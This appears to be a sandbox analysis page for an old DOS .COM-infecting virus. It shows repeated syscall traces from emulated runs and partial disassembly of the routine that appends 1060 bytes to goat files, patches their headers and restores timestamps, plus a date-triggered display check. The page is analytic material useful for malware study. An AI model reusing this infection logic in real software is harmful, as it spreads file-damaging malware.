Sample viewer

vx.netlux.org/Virus.DOS.Xav.Feliz.1060

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:44:38.707253858Z 37 PC: 12bdc | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:44:38.711142211Z 26 PC: 12be6 | Set disk transfer address
2018-12-17T22:44:38.71227167Z 42 PC: 12c0a | Get date 0x12c0a: cmp dh, 9
0x12c0d: jne 0x12c77
0x12c0f: cmp dl, 0xd
0x12c12: jne 0x12c77
0x12c14: mov ax, 3
0x12c17: int 0x10
0x12c19: lea ax, word ptr [bp + 0x9a]
0x12c1d: push ax
0x12c1e: mov ah, 9
0x12c20: lea dx, word ptr [bp + 0x3d2]
0x12c24: int 0x21
0x12c26: ret
0x12c27: mov al, 0x82
0x12c29: out 0x21, al
0x12c2b: mov dx, 0x3d4
0x12c2e: mov al, 0xa
0x12c30: out dx, al
0x12c31: inc dx
0x12c32: in al, dx
0x12c33: or al, 0x10
2018-12-17T22:44:38.714489426Z 78 PC: 12c81 | Find first file
2018-12-17T22:44:38.720192767Z 61 PC: 12cf8 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:44:38.726843032Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-17T22:44:38.733140414Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.734589769Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-17T22:44:38.73778332Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-17T22:44:38.752548408Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.753863263Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:38.761556711Z 87 PC: 12e72 | Get or set file date and time
2018-12-17T22:44:38.765469156Z 62 PC: 12e39 | Close file
2018-12-17T22:44:38.772977734Z 79 PC: 12e3d | Find next file
2018-12-17T22:44:38.77623665Z 61 PC: 12cf8 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:44:38.782503479Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-17T22:44:38.788729487Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.791187288Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-17T22:44:38.793829593Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-17T22:44:38.802656156Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.804536935Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:38.811425608Z 87 PC: 12e72 | Get or set file date and time
2018-12-17T22:44:38.813321804Z 62 PC: 12e39 | Close file
2018-12-17T22:44:38.821438315Z 79 PC: 12e3d | Find next file
2018-12-17T22:44:38.824935518Z 61 PC: 12cf8 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:44:38.832222033Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-17T22:44:38.838715794Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.8408599Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-17T22:44:38.843242253Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-17T22:44:38.851863624Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.85487954Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:38.861559654Z 87 PC: 12e72 | Get or set file date and time
2018-12-17T22:44:38.863166753Z 62 PC: 12e39 | Close file
2018-12-17T22:44:38.882789613Z 79 PC: 12e3d | Find next file
2018-12-17T22:44:38.885771883Z 61 PC: 12cf8 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:44:38.892393817Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-17T22:44:38.899654579Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.901389115Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-17T22:44:38.903909123Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-17T22:44:38.91374401Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.915733759Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:38.922348587Z 87 PC: 12e72 | Get or set file date and time
2018-12-17T22:44:38.924757622Z 62 PC: 12e39 | Close file
2018-12-17T22:44:38.932346348Z 79 PC: 12e3d | Find next file
2018-12-17T22:44:38.934796197Z 61 PC: 12cf8 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:44:38.941849655Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-17T22:44:38.948033118Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.949469964Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-17T22:44:38.952427121Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-17T22:44:38.961344655Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.962647006Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:38.969066121Z 87 PC: 12e72 | Get or set file date and time
2018-12-17T22:44:38.970694537Z 62 PC: 12e39 | Close file
2018-12-17T22:44:38.978291723Z 79 PC: 12e3d | Find next file
2018-12-17T22:44:38.981021584Z 61 PC: 12cf8 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:44:38.987889321Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-17T22:44:38.994134687Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:38.995522419Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-17T22:44:38.998704701Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-17T22:44:39.009471999Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:39.010789782Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:39.017708499Z 87 PC: 12e72 | Get or set file date and time
2018-12-17T22:44:39.01983578Z 62 PC: 12e39 | Close file
2018-12-17T22:44:39.028134523Z 79 PC: 12e3d | Find next file
2018-12-17T22:44:39.031288784Z 61 PC: 12cf8 | Open file (Filename = 'PAH.COM')
2018-12-17T22:44:39.037741705Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-17T22:44:39.044129778Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:39.046633919Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-17T22:44:39.049144928Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-17T22:44:39.057930971Z 66 PC: 12e81 | Move file pointer
2018-12-17T22:44:39.059975354Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:39.067537236Z 87 PC: 12e72 | Get or set file date and time
2018-12-17T22:44:39.069178321Z 62 PC: 12e39 | Close file
2018-12-17T22:44:39.077790708Z 79 PC: 12e3d | Find next file
2018-12-17T22:44:39.080558698Z 61 PC: 12cf8 | Open file (Filename = 'TEST.COM')
2018-12-17T22:44:39.087426483Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-17T22:44:39.090731594Z 62 PC: 12e39 | Close file
2018-12-17T22:44:39.092417003Z 79 PC: 12e3d | Find next file
2018-12-17T22:44:39.09559895Z 78 PC: 12c92 | Find first file
2018-12-17T22:44:39.102317451Z 37 PC: 12c9d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:44:39.103520502Z 26 PC: 12ca7 | Set disk transfer address
2018-12-17T22:44:39.104637649Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-17T22:44:39.109300088Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":8282,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:09.287181019Z 37 PC: 12bdc | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:09.289889379Z 26 PC: 12be6 | Set disk transfer address
2018-12-25T12:04:09.291453157Z 42 PC: 12c0a | Get date 0x12c0a: cmp dh, 9
0x12c0d: jne 0x12c77
0x12c0f: cmp dl, 0xd
0x12c12: jne 0x12c77
0x12c14: mov ax, 3
0x12c17: int 0x10
0x12c19: lea ax, word ptr [bp + 0x9a]
0x12c1d: push ax
0x12c1e: mov ah, 9
0x12c20: lea dx, word ptr [bp + 0x3d2]
0x12c24: int 0x21
0x12c26: ret
0x12c27: mov al, 0x82
0x12c29: out 0x21, al
0x12c2b: mov dx, 0x3d4
0x12c2e: mov al, 0xa
0x12c30: out dx, al
0x12c31: inc dx
0x12c32: in al, dx
0x12c33: or al, 0x10
2018-12-25T12:04:09.294546106Z 78 PC: 12c81 | Find first file
2018-12-25T12:04:09.30367978Z 61 PC: 12cf8 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:09.310065321Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-25T12:04:09.316210847Z 66 PC: 12e81 | Move file pointer
2018-12-25T12:04:09.317925481Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-25T12:04:09.322280312Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-25T12:04:09.337184992Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.338554132Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:04:09.345493883Z 87 PC: 12e72 | Get or set file date and time
2018-12-25T12:04:09.346935913Z 62 PC: 12e39 | Close file
2018-12-25T12:04:09.354636538Z 79 PC: 12e3d | Find next file
2018-12-25T12:04:09.366421131Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.372808758Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.379444477Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.381955368Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.384220476Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.393194386Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.395417457Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.402007124Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.403732803Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.412336032Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.416639124Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.423247538Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.441578745Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.443025701Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.445215487Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.454604467Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.45685733Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.463349425Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.464975234Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.474255212Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.476844814Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.483347385Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.491916674Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.493336723Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.496073032Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.505233306Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.506917729Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.513671605Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.516508243Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.530749412Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.533688955Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.541440628Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.547970233Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.549700046Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.553255494Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.563007326Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.564674529Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.572184558Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.574709031Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.582348229Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.585042195Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.591923917Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.598861017Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.600846211Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.603475844Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.612418329Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.614296933Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.621670901Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.623383868Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.631258688Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.634499454Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.641540115Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.648002806Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.649969631Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.652226951Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.661332093Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.665446156Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.673914207Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.675126479Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.68355957Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.693632272Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.700016931Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.703440375Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.705174452Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.707865625Z 78 PC: 12c92 | Find first file
2018-12-25T12:04:09.713916935Z 37 PC: 12c9d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:09.715225589Z 26 PC: 12ca7 | Set disk transfer address
2018-12-25T12:04:09.716399114Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T12:04:09.722539435Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":8282,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:09.519784433Z 37 PC: 12bdc | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:09.521077639Z 26 PC: 12be6 | Set disk transfer address
2018-12-25T12:04:09.522358235Z 42 PC: 12c0a | Get date 0x12c0a: cmp dh, 9
0x12c0d: jne 0x12c77
0x12c0f: cmp dl, 0xd
0x12c12: jne 0x12c77
0x12c14: mov ax, 3
0x12c17: int 0x10
0x12c19: lea ax, word ptr [bp + 0x9a]
0x12c1d: push ax
0x12c1e: mov ah, 9
0x12c20: lea dx, word ptr [bp + 0x3d2]
0x12c24: int 0x21
0x12c26: ret
0x12c27: mov al, 0x82
0x12c29: out 0x21, al
0x12c2b: mov dx, 0x3d4
0x12c2e: mov al, 0xa
0x12c30: out dx, al
0x12c31: inc dx
0x12c32: in al, dx
0x12c33: or al, 0x10
2018-12-25T12:04:09.523977417Z 78 PC: 12c81 | Find first file
2018-12-25T12:04:09.530440159Z 61 PC: 12cf8 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:09.537542975Z 63 PC: 12d08 | Read file or device (Read 26 bytes on handle 5)
2018-12-25T12:04:09.54406911Z 66 PC: 12e81 | Move file pointer
2018-12-25T12:04:09.545317293Z 44 PC: 12e0a | Get time 0x12e0a: cmp dx, 0
0x12e0d: je 0x12e06
0x12e0f: mov word ptr [bp + 0x1e], dx
0x12e13: call 0x12e50
0x12e16: mov ah, 0x40
0x12e18: mov cx, 0x424
0x12e1b: lea dx, word ptr [bp]
0x12e1f: int 0x21
0x12e21: call 0x12e50
0x12e24: call 0x12e73
0x12e27: mov ah, 0x40
0x12e29: mov cx, 4
0x12e2c: lea dx, word ptr [bp + 0x3c2]
0x12e30: int 0x21
0x12e32: call 0x12e61
0x12e35: mov ah, 0x3e
0x12e37: int 0x21
0x12e39: mov ah, 0x4f
0x12e3b: int 0x21
0x12e3d: jae 0x12cef
2018-12-25T12:04:09.547822217Z 64 PC: 12e21 | Write file or device (Write 1060 bytes on handle 5)
2018-12-25T12:04:09.562980408Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.564439425Z 64 PC: 12e32 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:04:09.571911098Z 87 PC: 12e72 | Get or set file date and time
2018-12-25T12:04:09.573527489Z 62 PC: 12e39 | Close file
2018-12-25T12:04:09.581886889Z 79 PC: 12e3d | Find next file
2018-12-25T12:04:09.585237255Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.593059027Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.600597555Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.602605243Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.605067027Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.614921595Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.616617946Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.624045359Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.625584403Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.634288501Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.637270975Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.644515592Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.65210799Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.653688345Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.656175566Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.665477742Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.667105461Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.674262097Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.675821086Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.684256857Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.686892757Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.693956162Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.701231526Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.702893884Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.705502017Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.7159173Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.717342908Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.724466471Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.726451617Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.735107209Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.737813518Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.745913331Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.752794133Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.754249106Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.757685597Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.76757242Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.7690031Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.776837426Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.778536575Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.789233843Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.792129915Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.800203922Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.807660884Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.809685446Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.813020221Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.823084578Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.825007983Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.833041642Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.834632433Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.843971554Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.848098046Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.855812724Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.863410598Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.866403756Z 44 PC: 12e0a | Get time (See above)
2018-12-25T12:04:09.868515653Z 64 PC: 12e21 | Write file or device (See above)
2018-12-25T12:04:09.877983409Z 66 PC: 12e81 | Move file pointer (See above)
2018-12-25T12:04:09.879630806Z 64 PC: 12e32 | Write file or device (See above)
2018-12-25T12:04:09.887356489Z 87 PC: 12e72 | Get or set file date and time (See above)
2018-12-25T12:04:09.888943776Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.897699613Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.900856255Z 61 PC: 12cf8 | Open file (See above)
2018-12-25T12:04:09.908056712Z 63 PC: 12d08 | Read file or device (See above)
2018-12-25T12:04:09.911698856Z 62 PC: 12e39 | Close file (See above)
2018-12-25T12:04:09.914895345Z 79 PC: 12e3d | Find next file (See above)
2018-12-25T12:04:09.917697649Z 78 PC: 12c92 | Find first file
2018-12-25T12:04:09.924189604Z 37 PC: 12c9d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:09.925919313Z 26 PC: 12ca7 | Set disk transfer address
2018-12-25T12:04:09.927079873Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T12:04:09.933533647Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":8282,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:09.78441369Z 37 PC: 12bdc | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:09.792049936Z 26 PC: 12be6 | Set disk transfer address
2018-12-25T12:04:09.794486875Z 42 PC: 12c0a | Get date 0x12c0a: cmp dh, 9
0x12c0d: jne 0x12c77
0x12c0f: cmp dl, 0xd
0x12c12: jne 0x12c77
0x12c14: mov ax, 3
0x12c17: int 0x10
0x12c19: lea ax, word ptr [bp + 0x9a]
0x12c1d: push ax
0x12c1e: mov ah, 9
0x12c20: lea dx, word ptr [bp + 0x3d2]
0x12c24: int 0x21
0x12c26: ret
0x12c27: mov al, 0x82
0x12c29: out 0x21, al
0x12c2b: mov dx, 0x3d4
0x12c2e: mov al, 0xa
0x12c30: out dx, al
0x12c31: inc dx
0x12c32: in al, dx
0x12c33: or al, 0x10
2018-12-25T12:04:09.797369879Z 78 PC: 12c81 | Find first file
